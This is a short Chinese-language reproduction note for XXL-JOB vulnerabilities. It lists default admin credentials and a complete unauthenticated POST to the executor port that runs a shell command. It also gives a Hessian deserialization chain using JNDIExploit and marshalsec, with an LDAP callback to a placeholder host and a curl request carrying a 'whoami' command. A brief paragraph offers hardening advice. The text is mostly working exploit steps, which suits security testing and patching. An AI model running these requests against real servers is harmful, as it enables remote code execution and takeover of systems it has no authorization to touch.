路径
http://127.0.0.1:8080/toLogin
http://127.0.0.1:8080/xxl-job-admin/toLogin
口令
admin/123456
复现
POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
针对该问题,现提供几种安全防护策略。
1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端口。
http://127.0.0.1:8080/api
http://127.0.0.1:8080/xxl-job-admin/api
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x -l 1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://x.x.x.x:1389/Basic/TomcatEcho > test.ser
curl -XPOST -H "Content-Type: x-application/hessian" -H "cmd: whoami" --data-binary @test.ser http://127.0.0.1:8080/api
https://xz.aliyun.com/t/11091
公众号新功能可自行探索